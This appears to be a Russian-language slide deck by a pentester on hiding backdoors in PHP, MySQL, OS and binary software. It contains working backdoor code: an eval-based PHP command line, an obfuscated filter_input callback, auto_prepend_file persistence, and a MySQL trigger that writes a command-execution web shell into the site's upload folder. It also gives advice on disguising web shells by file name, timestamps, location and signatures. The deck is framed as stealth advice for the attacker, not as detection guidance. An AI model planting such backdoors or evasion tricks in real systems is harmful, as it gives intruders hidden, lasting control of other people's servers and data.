2. WhoAmI
12 лет в информационной безопасности
7 лет пентеста и аудита
Специалист ЦАРКА
Telegram: @alex_bezopasnikov
3. Распространенные типы
- Бекдоры в PHP (шеллы, закладки)
- Бекдоры в MySQL (тригеры)
- Бекдоры в окружении ОС (SUID-ники, bash-
скрипты)
- Бекдоры в бинарном софте (протрояненный
софт)
4. Бекдоры в PHP (закладки)
eval($_REQUEST[cmd]);
НИКОГДА так не делайте
Варианты:
1) Обфусцированный код — плохой вариант
2) Фрагментированная закладка — лучше, но упоротый
3) Логичная закладка, где она будет к месту.
4) Закладка, которую не поймут :)
-- auto_prepend_file — удивительно, но на практике отличный вариант. Нужны
права на правку php.ini (root)
-- filter_input(1,'_',1024,array('options'=>filter_input(1,'__',521)));
И это только примеры. Вариантов сотни
5. Бекдоры в PHP (шеллы)
4 поколения web-шеллов. История
1-е — /cgi-bin/counter.pl?file=|id|. 90-е года
2-е — c99, r57, идеальный WSO. Используют
POST. 00-е года
3-е — Используют GET, передают команды в
HTTP-заголовках. 00-10-е года.
4-е — Используют GET, передают команды в
Cookies. 10-й-???
6. Бекдоры в PHP (шеллы)
МАСКИРОВКА
1) Имя файла (wso.php, shell.php, etc)
2) Время доступа к файлу и директории
3) Расположение файла
4) Сигнатуры файла
7. Бекдоры в MySQL (тригеры)
delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='my_shell' THEN
SELECT '<?=`$_REQUEST[„cmd“]`?>' INTO OUTFILE
'/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|